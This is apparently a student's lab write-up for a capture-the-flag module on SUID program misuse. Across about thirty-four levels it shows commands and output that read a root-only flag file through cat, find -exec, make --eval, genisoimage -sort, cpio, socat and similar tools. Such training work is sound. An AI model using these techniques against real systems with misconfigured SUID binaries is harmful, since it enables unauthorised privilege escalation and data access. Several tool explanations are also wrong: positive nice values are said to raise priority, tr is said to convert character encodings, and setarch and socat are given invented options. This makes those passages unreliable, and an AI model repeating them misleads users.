LectureNotes
Privilege Escalation
- Every process has a user ID (UID) and and a group ID (GID)
- UID 0: the Linux admin user (root). Needed for:
- Installing software
- Loading device drivers
- Shutting down/rebooting
- Changing system-wide settings
- Can be used to:
- open ANY file
- execute any program
- assume any other user/group ID
- debug any program
- UID 0: the Linux admin user (root). Needed for:
Linux Permission Model:
447
- SUID(Set User ID): execute with the eUID(effective user ID) of the file owner rather than the parent process
- Reset every time a file’s ownership is changed
- SGID(Set Group ID): execute with the eGID(effective Group ID) of the file owner rather than the parent process
- Sticky: used for shared directories to limit file removal to file owners
- ensures you can only delete files you have created in a shared directory
- Effective ID(eUID/eGID): the UID/GID used for most access checks
- Read ID(UID/GID):the “real” user/group ID of the process owner, used for things such as signal checks
- Saved ID: a user/group ID that your process could switch its eUID/eGID to
- Used for temporarily dropping privileges
Useful Commands:
id
: will list out the IDs of every process on your systemsudo chmod u+s fileName
: add the SUID for the given filesh -p
: ensures that privileges are not dropped when running a program
Sources:
Fundamentals
Linux 命令大全 | 菜鸟教程 (runoob.com)
man 查看帮助手册 — Linux latest 文档 (gnu-linux.readthedocs.io)
学好English,能看懂man文档
看不懂啊
Pragram Misuse
This challenge is part of a series of programs that
exposes you to very simple programs that let you directly read the flag.
“SUID” 指的是 “Set User ID”,是 Unix 和类 Unix 系统上的一种权限位。当一个可执行文件拥有 SUID 权限时,当用户执行该文件时,该文件的所有者的用户 ID 将会被设置为进程的有效用户 ID,而不是执行该文件的用户的用户 ID。这使得该进程以文件所有者的权限来执行,而不是执行该文件的用户的权限。
通常情况下,普通用户只能以自己的权限执行程序。但是,当一个程序拥有 SUID 权限时,即使是普通用户执行该程序,它也会以文件所有者的权限来执行。这在某些情况下非常有用,比如让普通用户执行某些需要特权权限的任务,而不需要暴露系统管理员密码。
然而,SUID 也可能存在安全风险,因为它可以被滥用为提升权限攻击的一种手段。因此,必须小心地管理 SUID 权限,并确保只有必要的程序拥有它。
此专题为SUID安全模块
level1(cat)
cat /flag
level2(more)
more /flag
level3(less)
less /flag
level4(tail)
tail /flag
level5(head)
head /flag
level6(sort)
sort /flag
level7(vim)
vim /flag
:q!
level8(emacs)
emacs /flag
level9(nano)
nano /flag
level10(rev)
hacker@program-misuse~level10:/challenge$ rev /flag
}WzU0NzczLDE1Ml0.moqZisxxzyckvEaw_thAOt6crp8{egelloc.nwp
hacker@program-misuse~level10:/challenge$ rev
}WzU0NzczLDE1Ml0.moqZisxxzyckvEaw_thAOt6crp8{egelloc.nwp
pwn.college{8prc6tOAht_waEvkcyzxxsiZqom.0lM1EDLzczN0UzW}
level11(od)
学会用man
不会的工具就 man od
在计算机领域,“od” 是一个常用的指令,通常用于显示文件的八进制内容。以下是一些常见的 “od” 指令选项:
-a
:以可打印字符的形式显示文件内容。-b
:以八进制形式显示文件内容。-c
:以字符形式显示文件内容。-d
:以十进制形式显示文件内容。-h
:以十六进制形式显示文件内容。-t [format]
:指定输出格式,如-t x1
可以将输出格式指定为每个字节以十六进制显示。-A
显示地址
tr
命令用于字符替换或删除。以下是一些常见的 tr
命令用法:
- 替换字符:使用
-s
选项来指定要替换的字符集合。例如,将文件中的所有小写字母替换为大写字母:
tr 'a-z' 'A-Z' < input.txt > output.txt
- 删除字符:使用
-d
选项来删除指定的字符。例如,删除文件中的所有数字:
tr -d '0-9' < input.txt > output.txt
- 转换字符:使用
-c
选项来对字符进行转换。例如,将文件中的所有小写字母转换为大写字母,同时删除其他字符:
tr -cd 'a-zA-Z' < input.txt > output.txt
- 压缩字符:使用
-s
选项来压缩字符。例如,将文件中连续重复的空格替换为单个空格:
tr -s ' ' < input.txt > output.txt
- 转换字符编码:可以使用
tr
命令将一个字符集映射为另一个字符集。例如,将 ISO-8859-1 编码的文本转换为 UTF-8 编码:
tr 'ISO-8859-1' 'UTF-8' < input.txt > output.txt
hacker@program-misuse~level11:/challenge$ od -An -a /flag |tr -d " \n"
pwn.college{EjkuFmjnR3PYcvBLt1eB2aHqJG_.01M1EDLzczN0UzW}nl
level12(hexdump)
hexdump -v -e '/1 "%_p"' /flag
这个命令中的参数解释如下:
-v
:指定静默模式。这将禁止 hexdump 在输出中显示重复的行。-e
:指定格式化输出的模板。在这个模板中,/1
表示按字节处理文件,"%_p"
则表示打印可打印字符。
以下是一些常用的 hexdump
指令选项:
-
-C
:以十六进制和ASCII字符的形式显示文件内容,每个字节对应一个十六进制数字和一个ASCII字符。hexdump -C filename
-
-c
:以字符形式显示文件内容,同时显示每个字符的八进制值。hexdump -c filename
-
-n
:限制显示的字节数。hexdump -n 100 filename
-
-s
:从指定的偏移量开始显示文件内容。hexdump -s 100 filename
-
-v
:关闭默认的输出格式,以原始的十六进制或八进制格式显示数据。hexdump -v filename
这些是常用的 hexdump
指令选项,可以根据具体的需求选择合适的选项来查看文件的内容。
level13(xxd)
xxd /flag
level14(base32)
base32 /flag |base32 -d
level15(base64)
base64 /flag |base64 -d
level16(split)
split [-b byte][-C ][-][-l rowcount][the file to split][the prefix of the output_file][-a suffix_len]
split
命令用于将文件拆分成多个更小的文件。它是一个在 Unix 和类 Unix 系统中常见的命令行工具。split
命令通常用于需要将大文件分割成多个较小文件以便进行传输、备份或处理的情况。
以下是 split
命令的一般格式:
split [OPTION]... [INPUT [PREFIX]]
其中:
OPTION
:是一些选项,可以用来控制拆分的行为。INPUT
:是要拆分的输入文件的名称。PREFIX
:是输出文件的前缀。输出文件的名称将以此前缀开始,后面跟着一个字母序号以区分不同的输出文件。
常用的选项包括:
-b, --bytes=SIZE
:按大小拆分文件。SIZE 可以是以k
、M
、G
等为单位的文件大小。-l, --lines=NUMBER
:按行数拆分文件。-d
:使用数字后缀而不是字母后缀。-a, --suffix-length=N
:指定生成的文件名后缀长度。-n, --number=CHUNKS
:指定要生成的文件数量。
以下是一个示例,将一个文件拆分成每个文件大小为1MB的多个文件:
split -b 1M largefile.txt splitfile
这个命令会将名为 largefile.txt
的文件拆分成多个大小为1MB的文件,并以 splitfile
作为前缀命名。生成的文件名将以 splitfile
开头,后跟一个字母序号以区分不同的文件。
hacker@program-misuse~level16:/challenge$ split /flag
hacker@program-misuse~level16:/challenge$ ls
babysuid_level16 xaa
hacker@program-misuse~level16:/challenge$ cat xaa
pwn.college{4EJPD2ROB2wmP5Nv6kDsY6sawPM.0FO1EDLzczN0UzW}
level17 (gzip)
zcat
命令是一个用于查看压缩文件内容的命令。它与 cat
命令类似,但是可以直接查看经过压缩的文件,而不需要先解压缩。zcat
实际上是 gzip -d -c
命令的简写,它会解压缩文件并将解压后的内容输出到标准输出。
- -c 表示输出到标准输出
- -d 解压缩
使用 zcat
命令的格式如下:
zcat filename.gz
这个命令会将名为 filename.gz
的压缩文件解压缩,并将解压后的内容直接输出到标准输出。你可以通过管道将其与其他命令一起使用,或者重定向到文件中保存。
hacker@program-misuse~level17:/$ zcat flag.gz
pwn.college{UePLx3QWU4tdu3DffqC263k2xH.0VO1EDLzczN0Uz}
level18(bzip2)
与level17类似
hacker@program-misuse~level18:/$ bzip2 -d -c flag.bz2
pwn.college{kLWPJ4DFr1DV_MV9WKvshGFFn5U.0FM2EDLzczN0UzW}
level19(zip)
以下是一些常用的 zip
命令选项和示例:
- 压缩文件:
zip archive.zip file1.txt file2.txt
这个命令会将 file1.txt
和 file2.txt
两个文件压缩成一个名为 archive.zip
的压缩文件。
- 压缩目录:
zip -r archive.zip directory/
这个命令会将 directory/
目录及其下的所有文件和子目录压缩成一个名为 archive.zip
的压缩文件。
- 添加文件到已存在的压缩文件:
zip archive.zip newfile.txt
这个命令会将 newfile.txt
添加到名为 archive.zip
的已存在的压缩文件中。
- 列出压缩文件中的内容:
unzip -l archive.zip
这个命令会列出名为 archive.zip
的压缩文件中的所有文件和目录。
- 解压缩文件:
unzip archive.zip
这个命令会将名为 archive.zip
的压缩文件解压缩到当前目录。
- 解压缩到指定目录:
unzip archive.zip -d /path/to/directory/
这个命令会将名为 archive.zip
的压缩文件解压缩到指定的目录 /path/to/directory/
中。
hacker@program-misuse~level19:/challenge$ man zip
hacker@program-misuse~level19:/challenge$ zip flag.zip /flag
adding: flag (stored 0%)
hacker@program-misuse~level19:/challenge$ ls
babysuid_level19 flag.zip
Archive: flag.zip
caution: filename not matched: -c
hacker@program-misuse~level19:/challenge$ unzip -c flag.zip
Archive: flag.zip
extracting: flag
pwn.college{Ez72p6_sW8GY7XN4ffOXC_GhJmn.0VM2EDLzczN0UzW}
level20(tar)
以下是一些常用的 tar
命令选项和示例:
- 创建归档文件:
tar -cvf archive.tar file1 file2
这个命令会将 file1
和 file2
打包成一个名为 archive.tar
的归档文件。
- 创建带有 gzip 压缩的归档文件:
tar -cvzf archive.tar.gz directory/
这个命令会将 directory/
目录及其下的所有文件和子目录打包成一个名为 archive.tar.gz
的归档文件,并使用 gzip 进行压缩。
- 创建带有 bzip2 压缩的归档文件:
tar -cvjf archive.tar.bz2 directory/
这个命令会将 directory/
目录及其下的所有文件和子目录打包成一个名为 archive.tar.bz2
的归档文件,并使用 bzip2 进行压缩。
- 列出归档文件中的内容:
tar -tvf archive.tar
这个命令会列出名为 archive.tar
的归档文件中的所有文件和目录。
- 解压归档文件:
tar -xvf archive.tar
这个命令会将名为 archive.tar
的归档文件解压缩到当前目录。
- 解压归档文件到指定目录:
tar -xvf archive.tar -C /path/to/directory/
这个命令会将名为 archive.tar
的归档文件解压缩到指定的目录 /path/to/directory/
中。
当你在使用 tar
命令时,可以使用多个选项来控制其行为。以下是对常用选项的解释:
-
-c, --create
:创建归档文件。这个选项告诉tar
命令你要创建一个新的归档文件。 -
-v, --verbose
:详细模式。启用详细输出,会显示创建或提取的文件列表。 -
-f, --file=ARCHIVE
:指定归档文件的名称。ARCHIVE
是要创建的归档文件的名称。 -
-z, --gzip
:使用 gzip 压缩。使用 gzip 压缩归档文件。只有在创建归档文件时才会用到。 -
-j, --bzip2
:使用 bzip2 压缩。使用 bzip2 压缩归档文件。只有在创建归档文件时才会用到。 -
-t, --list
:列出归档文件中的内容。这个选项告诉tar
命令要列出归档文件中的所有文件和目录。 -
-x, --extract, --get
:提取归档文件。这个选项告诉tar
命令你要提取归档文件中的文件。 -
-C, --directory=DIR
:指定提取文件的目录。DIR
是提取文件时要存放的目标目录。 -
-O
选项。这个选项告诉tar
命令将解压缩的内容写入标准输出而不是文件
hacker@program-misuse~level20:/challenge$ tar -cvf flag.tar "/flag"
tar: Removing leading `/' from member names
/flag
hacker@program-misuse~level20:/challenge$ ls
babysuid_level20 flag.tar
hacker@program-misuse~level20:/challenge$ tar -xOf flag.tar
pwn.college{wg9J9bzxSwEV2tNZMG_zYwyiBFA.0lM2EDLzczN0UzW}
level21(ar)
ar
语法
ar[-dmpqrtx][cfosSuvV][a<成员文件>][b<成员文件>][i<成员文件>][备存文件][成员文件]
参数:
必要参数:
- -d 删除备存文件中的成员文件。
- -m 变更成员文件在备存文件中的次序。
- -p 显示备存文件中的成员文件内容。
- -q 将文件附加在备存文件末端。
- -r 将文件插入备存文件中。
- -t 显示备存文件中所包含的文件。
- -x 自备存文件中取出成员文件。
选项参数:
- a<成员文件> 将文件插入备存文件中指定的成员文件之后。
- b<成员文件> 将文件插入备存文件中指定的成员文件之前。
- c 建立备存文件。
- f 为避免过长的文件名不兼容于其他系统的ar指令指令,因此可利用此参数,截掉要放入备存文件中过长的成员文件名称。
- i<成员文件> 将文件插入备存文件中指定的成员文件之前。
- o 保留备存文件中文件的日期。
- s 若备存文件中包含了对象模式,可利用此参数建立备存文件的符号表。
- S 不产生符号表。
- u 只将日期较新文件插入备存文件中。
- v 程序执行时显示详细的信息。
- V 显示版本信息。
hacker@program-misuse~level21:/challenge$ ar -r flag.a /flag
ar: creating flag.a
hacker@program-misuse~level21:/challenge$ ls
babysuid_level21 flag.a
ssh-entrypoint: flag: command not found
hacker@program-misuse~level21:/challenge$ ar xp flag.a
ar: two different operation options specified
hacker@program-misuse~level21:/challenge$ ar p flag.a
pwn.college{07JfL0D_QNkJfV4u1O8mk-FX5KA.01M2EDLzczN0UzW}
level22(cpio)
cpio 是用来建立,还原备份档的工具程序,它可以加入,解开 cpio 或 tar 备份档内的文件。
语法
cpio [-0aABckLovV][-C <输入/输出大小>][-F <备份档>][-H <备份格式>][-O <备份档>][--block-size=<区块大小>][--force-local][--help][--quiet][--version] 或 cpio [-bBcdfikmnrsStuvV][-C <输入/输出大小>][-E <范本文件>][-F <备份档>][-H <备份格式>][-I <备份档>][-M <回传信息>][-R <拥有者><:/.><所属群组>][--block-size=<区块大小>][--force-local][--help][--no-absolute-filenames][--no-preserve-owner][--only-verify-crc][--quiet][--sparse][--version][范本样式...] 或 cpio [-0adkiLmpuvV][-R <拥有者><:/.><所属群组>][--help][--no-preserve-owner][--quiet][--sparse][--version][目的目]
参数:
- -0或–null 接受新增列控制字符,通常配合find指令的"-print0"参数使用。
- -a或–reset-access-time 重新设置文件的存取时间。
- -A或–append 附加到已存在的备份档中,且这个备份档必须存放在磁盘上,而不能放置于磁带机里。
- -b或–swap 此参数的效果和同时指定"-sS"参数相同。
- -B 将输入/输出的区块大小改成5210 Bytes。
- -c 使用旧ASCII备份格式。
- -C<区块大小>或–io-size=<区块大小> 设置输入/输出的区块大小,单位是Byte。
- -d或–make-directories 如有需要cpio会自行建立目录。
- -E<范本文件>或–pattern-file=<范本文件> 指定范本文件,其内含有一个或多个范本样式,让cpio解开符合范本条件的文件,格式为每列一个范本样式。
- -f或–nonmatching 让cpio解开所有不符合范本条件的文件。
- -F<备份档>或–file=<备份档> 指定备份档的名称,用来取代标准输入或输出,也能借此通过网络使用另一台主机的保存设备存取备份档。
- -H<备份格式> 指定备份时欲使用的文件格式。
- -i或–extract 执行copy-in模式,还原备份档。
- -l<备份档> 指定备份档的名称,用来取代标准输入,也能借此通过网络使用另一台主机的保存设备读取备份档。
- -k 此参数将忽略不予处理,仅负责解决cpio不同版本间的兼容性问题。
- -l或–link 以硬连接的方式取代复制文件,可在copy-pass模式下运用。
- -L或–dereference 不建立符号连接,直接复制该连接所指向的原始文件。
- -m或preserve-modification-time 不去更换文件的更改时间。
- -M<回传信息>或–message=<回传信息> 设置更换保存媒体的信息。
- -n或–numeric-uid-gid 使用"-tv"参数列出备份档的内容时,若再加上参数"-n",则会以用户识别码和群组识别码替代拥有者和群组名称列出文件清单。
- -o或–create 执行copy-out模式,建立备份档。
- -O<备份档> 指定备份档的名称,用来取代标准输出,也能借此通过网络 使用另一台主机的保存设备存放备份档。
- -p或–pass-through 执行copy-pass模式,略过备份步骤,直接将文件复制到目的目录。
- -r或–rename 当有文件名称需要更动时,采用互动模式。
- -R<拥有者><:/.><所属群组>或
- ----owner<拥有者><:/.><所属群组> 在copy-in模式还原备份档,或copy-pass模式复制文件时,可指定这些备份,复制的文件的拥有者与所属群组。
- -s或–swap-bytes 交换每对字节的内容。
- -S或–swap-halfwords 交换每半个字节的内容。
- -t或–list 将输入的内容呈现出来。
- -u或–unconditional 置换所有文件,不论日期时间的新旧与否,皆不予询问而直接覆盖。
- -v或–verbose 详细显示指令的执行过程。
- -V或–dot 执行指令时,在每个文件的执行程序前面加上"."号
- –block-size=<区块大小> 设置输入/输出的区块大小,假如设置数值为5,则区块大小为2500,若设置成10,则区块大小为5120,依次类推。
- –force-local 强制将备份档存放在本地主机。
- –help 在线帮助。
- –no-absolute-filenames 使用相对路径建立文件名称。
- –no-preserve-owner 不保留文件的拥有者,谁解开了备份档,那些文件就归谁所有。
- -only-verify-crc 当备份档采用CRC备份格式时,可使用这项参数检查备份档内的每个文件是否正确无误。
- –quiet 不显示复制了多少区块。
- –sparse 倘若一个文件内含大量的连续0字节,则将此文件存成稀疏文件。
- –version 显示版本信息。
wp
这个题很有点难度
hacker@program-misuse~level22:/$ cpio -ov < flag >flag.cpio
ssh-entrypoint: flag: Permission denied
hacker@program-misuse~level22:/$ find flag|cpio -ov > flag.cpio
ssh-entrypoint: flag.cpio: Permission denied
hacker@program-misuse~level22:/$
可以发现,cpio没有对flag的读权限,但是我们可以用find命令进行绕过,创建flag.cpio又被拒绝说明cpio也没有写权限
在网上搜了搜其他dl的思路
发现通常有两个地方可以存放压缩文件,有写入权限。
/home/hacker: home directory.
/tmp: temp directory
这里我们使用/tmp
目录,
hacker@program-misuse~level22:/$ find flag|cpio -ov > /tmp/flag.cpio
flag
1 block
接着用cpio
读取归档的内容
我们需要使用“ -i
”来提取内容,然后打印出包含“ --to-stdout
”的内容,其中“ Extract files to standard output
”是打印的内容。
hacker@program-misuse~level22:/$ cd /tmp
hacker@program-misuse~level22:/tmp$ cpio -i --to-stdout < flag.cpio
pwn.college{A0MclfD9AoelVA-b-hXVQ_byLYK.0FN2EDLzczN0UzW}
1 block
level23(genisoimage)
又有亿点点难
genisoimage
命令用于创建 ISO9660 光盘映像文件,也就是创建 ISO 镜像。它是在 Linux 中用于创建光盘镜像文件的工具之一。以下是一些常用的 genisoimage
命令参数:
-
-o filename:指定输出文件的名称。
-
-r:允许在 ISO9660 文件系统中保存普通用户的文件权限和属性。
-
-J:生成适用于 Windows 的 Joliet 扩展格式的 ISO9660 文件系统。
-
-joliet-long:允许使用长文件名。
-
-l:允许生成 Rock Ridge 扩展格式的 ISO9660 文件系统,以支持 UNIX 风格的长文件名和权限。
-
-V volumeid:指定卷标(光盘名称)。
-
-input-charset charset:指定输入文件名的字符集。
-
-graft-points:允许将文件或目录添加到映像的特定路径。
-
-R:使用 Rock Ridge 扩展格式生成 ISO9660 文件系统,以支持 UNIX 风格的长文件名和权限。
-
-b boot_image:指定用于引导光盘的引导映像文件。
-
-no-emul-boot:禁止模拟软盘引导。
-
-boot-load-size load_sectors:指定加载区域的大小(以扇区为单位)。
-
-boot-info-table:在引导映像中创建一个引导信息表。
-
-eltorito-boot boot_image:指定 El Torito 引导映像文件。
-
-eltorito-catalog boot_catalog:指定 El Torito 引导目录文件。
-
-quiet:静默模式,减少输出。
可以在终端中运行 man genisoimage
命令来查看 genisoimage
的手册页。
主要这里命令比较多,要一个一个尝试
自动化尝试命令
genisoimage --help 2>&1 | grep FILE | awk '{print $1}'
解释
- genisoimage --help 获取该程序的帮助信息
- 搜索有关文件的命令
- awk ‘{print($1)}’ 打印第一列
for option in $(genisoimage --help 2>&1 | grep FILE | awk '{print $1}'); do echo $option; genisoimage $option /flag; done
测试发现,可以用sort
指令打印出flag
,事实上我认为这个漏洞成因是,-sort 选项是制定文件和目录的排序顺序,但是flag
文件是不正确的格式,genisoimage会读取文件,并且将报错信息(包含了文件内容)打印到终端
于是正确的payload
:genisoimage -sort flag
level24(env)
env
是一个用于在当前环境中执行命令的实用工具。它的主要作用是为命令设置环境变量,然后执行该命令。在不同的操作系统上,env
的功能和用法可能有所不同,但它通常用于以下几个方面:
-
设置环境变量:通过
env
命令可以设置命令执行时所需的环境变量。这些变量可以包括路径、语言、编译器选项等。 -
执行命令:
env
还可以用来执行特定的命令,这样就可以在执行命令之前设置好所需的环境变量。 -
查询当前环境变量:在不指定命令的情况下,
env
会打印当前环境中已设置的所有变量。
下面是一些常见的用法:
-
设置环境变量并执行命令:
env VAR=value command
。这将临时设置一个环境变量VAR
的值为value
,然后执行command
。 -
查询当前环境变量:
env
。这将打印当前环境中所有已设置的变量及其值。 -
设置多个环境变量:
env VAR1=value1 VAR2=value2 command
。这将设置多个环境变量的值,然后执行命令。 -
在脚本中使用:
#!/usr/bin/env python
。这是脚本中常见的用法,它告诉系统去/usr/bin
目录下找到python
解释器,并用它来执行脚本。
env cat flag
level25(find)
find
也可用于命令执行
常见的find
命令选项包括:
-name
:根据文件名进行搜索。-type
:根据文件类型进行搜索,如普通文件(f
)、目录(d
)等。-perm
:根据文件权限进行搜索。-user
:根据文件所有者进行搜索。-group
:根据文件所属组进行搜索。-size
:根据文件大小进行搜索。-mtime
、-atime
、-ctime
:根据文件的修改时间、访问时间、状态改变时间进行搜索。
常见的find
命令操作包括:
-print
:打印匹配的文件名。-exec
:对匹配的文件执行指定的命令。
例如,要在当前目录及其子目录中查找所有扩展名为.txt
的文件,可以使用以下命令:
lua
Copy code
find . -type f -name "*.txt"
这将在当前目录及其子目录中查找所有扩展名为.txt
的普通文件,并打印它们的文件名。
find
命令非常灵活,可以根据具体的需求组合不同的选项和操作来实现各种搜索任务。
find . -exec cat /flag \; -quit
find .
:在当前目录及其子目录中查找文件。-exec cat /flag \;
:对于每一个找到的文件,执行cat /flag
命令。{}
通常用来表示find
命令找到的文件名,而\;
表示-exec
选项的结束。-quit
:在执行第一个-exec
后立即停止查找,即使还有未搜索的目录或文件。
level26(make)
[pwn.college-program-misuse-writeup/Babysuid 26.md at main · M4700F/pwn.college-program-misuse-writeup (github.com)](https://github.com/M4700F/pwn.college-program-misuse-writeup/blob/main/Babysuid 26.md)
简洁版:
COMMAND='cat /flag';make -s --eval=$'x:\n\t-'"$COMMAND"
$'x:\n\t-'"$COMMAND"
定义了一个名为x
的目标,在这个目标下执行了由COMMAND
变量定义的命令。COMMAND='cat /flag'
将cat /flag
字符串赋给了COMMAND
变量,即COMMAND
变量现在代表了cat /flag
命令。make -s --eval=...
命令将-s
参数用于静默执行,--eval
参数用于在执行过程中设置x
目标下的命令为cat /flag
。
When you execute a command from a makefile which has been granted the SUID
bit, the command inherits the permission of the root user. So when we run the cat /flag
, as if we were the root
user. That’s why it prints the flag.
我们也可以编写一个makefile
build:
gcc test.c -o test
ls ./test
cat /flag
然后直接make
即可
level27(nice)
nice
是一个用于调整进程优先级的命令。在Unix和类Unix系统中,每个进程都有一个与之相关的优先级,用于决定它在系统资源分配中的位置。nice
命令允许你在运行命令时修改进程的优先级。
以下是 nice
命令的一些常见用法:
-
设置进程优先级:最简单的用法是将
nice
命令与要执行的命令一起使用。通过在命令前加上nice
命令,你可以使得该命令以较低的优先级运行。例如:nice -n 10 command
这个命令会将
command
进程的优先级降低到 10。数值范围通常是 -20(最高优先级)到 19(最低优先级),0 是默认优先级。 -
查看进程优先级:你可以使用
ps
命令查看当前进程的优先级。例如:ps -eo pid,ni,cmd
这个命令会显示当前进程的 PID、优先级值和命令。
-
提高进程优先级:如果你有足够的权限,你也可以使用
renice
命令来提高或降低已经运行中进程的优先级。例如:renice -n -5 -p PID
这个命令会将 PID 所代表的进程的优先级降低 5 个级别。
-
同时设置 nice 值和调用优先级:你也可以同时使用
nice
和renice
命令。nice
命令用于设置调用的优先级,而renice
命令用于改变已经运行的进程的优先级。
nice -n 10 cat /flag
这里的 n
可以是-20~19
的任意整数,正数会提高进程的优先级。这会导致系统更频繁地为该进程分配 CPU 时间,从而使得该进程更快地执行。
如果这里n取负数会导致没有权限获得flag
,原因待解决
level28(timeout)
timeout命令作用是运行指定命令,如果在指定时间后在运行则杀死该进程。
timeout 114514s cat /flag
level29(stdbuf)
stdbuf
是一个用于修改标准 I/O 缓冲方式的命令,它允许你在运行命令时控制标准输入、输出和错误的缓冲行为。以下是 stdbuf
命令的一些常用参数:
-
-i MODE
或--input=MODE
:指定标准输入的缓冲模式。可以使用MODE
参数来指定标准输入的缓冲模式,可选值包括:0
:无缓冲。L
:行缓冲(按行刷新)。N
:块缓冲(按块刷新)。
例如,
-i0
表示禁用标准输入的缓冲,-iL
表示使用行缓冲模式。 -
-o MODE
或--output=MODE
:指定标准输出的缓冲模式。与-i
类似,可以使用MODE
参数来指定标准输出的缓冲模式,可选值同样包括0
、L
和N
。 -
-e MODE
或--error=MODE
:指定标准错误输出的缓冲模式。与-i
和-o
类似,可以使用MODE
参数来指定标准错误输出的缓冲模式,可选值同样包括0
、L
和N
。 -
-i0 -o0 -e0
:禁用标准输入、输出和错误的缓冲,这相当于在使用管道等操作时实时输出,适用于实时日志输出等场景。
stdbuf -i0 cat /flag
level30(setarch)
setarch
命令用于设置架构特定的系统调用,以便在不同的系统架构之间进行运行时切换。它通常用于模拟不同架构的环境,例如在 x86 系统上模拟 ARM 系统。
以下是一些常用的 setarch
命令参数:
-h
或--help
:显示帮助信息,列出setarch
命令的使用方法和选项。-L
或--list
:列出系统支持的所有架构。这个选项可以用来查看系统支持的所有架构列表。-R
或--rpath
:设置运行时链接器路径。这个选项用于指定程序运行时链接器的路径。-B
或--bind
:绑定指定的程序到特定的架构。例如,setarch -B arm /bin/bash
将/bin/bash
绑定到 ARM 架构。-Q
或--query
:查询指定程序的架构信息。例如,setarch -Q /bin/bash
将显示/bin/bash
的架构信息。
setarch $(arch) cat /flag
$(arch)
会返回当前系统的架构信息。例如,在 x86 系统上,$(arch)
可能会返回x86_64
(64 位)或i386
(32 位)等。setarch
命令用于设置运行时的系统架构。cat /flag
命令用于打印/flag
文件的内容到标准输出。
hacker@program-misuse~level30:/challenge$ setarch --li
uname26
linux32
linux64
i386
i486
i586
i686
athlon
x86_64
level31(watch)
watch
是一个命令行工具,用于周期性地执行指定的命令,并将其输出显示在终端上。它可以帮助你监视命令的输出,并定期刷新显示结果,从而实时查看命令的执行情况。
watch
命令的基本语法如下:
watch [options] command
其中,command
是要执行的命令,而 [options]
是一些选项,用于指定 watch
命令的行为。
一些常见的 watch
命令选项包括:
-n, --interval
:指定刷新间隔时间,以秒为单位。默认间隔时间是 2 秒。-d, --differences
:仅显示与上次输出不同的内容。这个选项可以帮助你快速地查看输出的变化。-t, --no-title
:不显示标题行。默认情况下,watch
会在顶部显示一个标题行,显示当前时间和正在执行的命令。-h, --help
:显示帮助信息,列出watch
命令的使用方法和选项。
例如,要监视系统当前的时间变化,可以使用以下命令:
watch date
这个命令会每隔 2 秒执行一次 date
命令,并将其输出显示在终端上,实时更新系统当前的时间。
watch -x cat /flag
level32(socat)
socat
的选项和参数非常多,以下是一些常用的选项和参数:
-h
:显示帮助信息,列出socat
命令的使用方法和选项。-V
:显示版本信息,包括socat
的版本号。-d
:启用调试模式,显示更详细的调试信息。-v
:显示详细信息,包括正在进行的连接和数据传输的详细信息。-t <time>
:设置超时时间,指定socat
在连接建立或数据传输时等待的最大时间。-T <time>
:设置数据传输超时时间,指定socat
在传输数据时的最大等待时间。-u
:用于指定使用无缓冲模式(unbuffered mode)。具体来说,它告诉socat
在数据传输时不要使用缓冲,而是立即传输数据。-4
:强制socat
使用 IPv4 地址。-6
:强制socat
使用 IPv6 地址。-b <size>
:设置数据块大小,指定socat
在传输数据时使用的缓冲区大小。-c
:关闭socat
的标准输入,使其在启动后不接受键盘输入。-e
:使socat
以非交互模式启动,用于将其嵌入到脚本中。-p
:保持连接,使socat
在传输完成后保持连接状态。-x
:显示十六进制格式的数据。-S
:打开日志记录功能,记录socat
的执行日志。-N
:禁用 DNS 查询,指定socat
不进行 DNS 查询。
socat -u FILE:/flag STDOUT
socat
是一个非常灵活的工具,可以用于各种网络通信场景。以下是一些 socat
的常见用法:
-
TCP/UDP 连接:
socat
可以用于在两个主机之间建立 TCP 或 UDP 连接。例如,将socat
作为简单的 TCP 服务器运行:socat TCP-LISTEN:1234,fork
这将在本地的 1234 端口上启动一个 TCP 服务器,接受来自客户端的连接,并将连接分配给新的子进程来处理。
-
文件传输:
socat
可以用于将文件从一个地方传输到另一个地方,包括通过网络传输文件。例如,将文件从本地传输到远程主机:socat FILE:/path/to/local/file TCP:remote_host:port
这会将本地文件传输到远程主机的指定端口上。
-
加密通信:
socat
可以和openssl
结合使用,实现加密的网络通信。例如,使用 TLS 连接:socat openssl-connect:remote_host:port,verify=0
这会在本地和远程主机之间建立一个使用 TLS 加密的连接。
-
串口通信:
socat
可以用于在串口之间传输数据,例如 RS232、RS485 等。例如,将数据从一个串口传输到另一个串口:socat /dev/ttyS0,raw,echo=0 /dev/ttyS1,raw,echo=0
这会将
/dev/ttyS0
的数据传输到/dev/ttyS1
。 -
端口转发:
socat
可以用于端口转发,将一个端口上收到的数据转发到另一个端口。例如,将本地的 8080 端口上收到的数据转发到远程主机的 80 端口上:socat TCP-LISTEN:8080,fork TCP:remote_host:80
这会将本地 8080 端口的数据转发到远程主机的 80 端口上。
socat -u "file:/flag" STDOUT
level33(whiptail)
whiptail
是一个在终端中显示对话框的命令行工具,常用于脚本中创建用户友好的交互界面。它可以用于显示各种类型的对话框,包括消息框、输入框、选择框等,以便与用户进行交互。
以下是 whiptail
的基本用法:
whiptail [options] <args>
其中 [options]
是一些选项,<args>
是用于指定对话框类型和内容的参数。
以下是一些常用的 whiptail
对话框类型和示例用法:
-
消息框:
whiptail --msgbox "This is a message" 10 40
这会在终端中显示一个消息框,显示文本 “This is a message”,框的大小为 10 行 40 列。
-
输入框:
whiptail --inputbox "Enter your name:" 10 40
这会在终端中显示一个输入框,提示用户输入名称。
-
选择框:
whiptail --menu "Choose an option:" 15 40 4 \ "1" "Option 1" \ "2" "Option 2" \ "3" "Option 3"
这会在终端中显示一个选择框,供用户从几个选项中选择。
-
Yes/No 对话框:
whiptail --yesno "Do you want to continue?" 10 40
这会在终端中显示一个 Yes/No 对话框,询问用户是否要继续操作。
通过查阅man
文档可以找到一个显示文件内容的命令
whiptail --textbox /flag 10 20
whiptail
是用于创建对话框的命令。--textbox
表示创建一个文本框对话框,用于显示文件内容。/flag
是指定的文件路径,即要显示内容的文件。10
是指定对话框的高度,表示文本框在垂直方向上可以显示的行数。20
是指定对话框的宽度,表示文本框在水平方向上可以显示的字符数。
level34(awk)
awk
是一种强大的文本处理工具,通常用于对结构化文本数据进行处理、分析和转换。它以逐行方式扫描输入文件,并根据指定的模式和动作对数据进行处理。以下是 awk
常见用法和参数的概述:
基本语法
awk [options] 'pattern {action}' file
options
:awk
的选项,用于指定一些控制行为,例如字段分隔符、处理文件开始和结束等。pattern
:模式,用于匹配输入数据的行。{action}
:动作,用于对匹配的行执行操作。file
:要处理的文件名。
常见选项
-F <separator>
:指定字段分隔符。默认情况下,字段分隔符为空格或制表符。-f <file>
:从指定的文件中读取awk
脚本。-v <var=value>
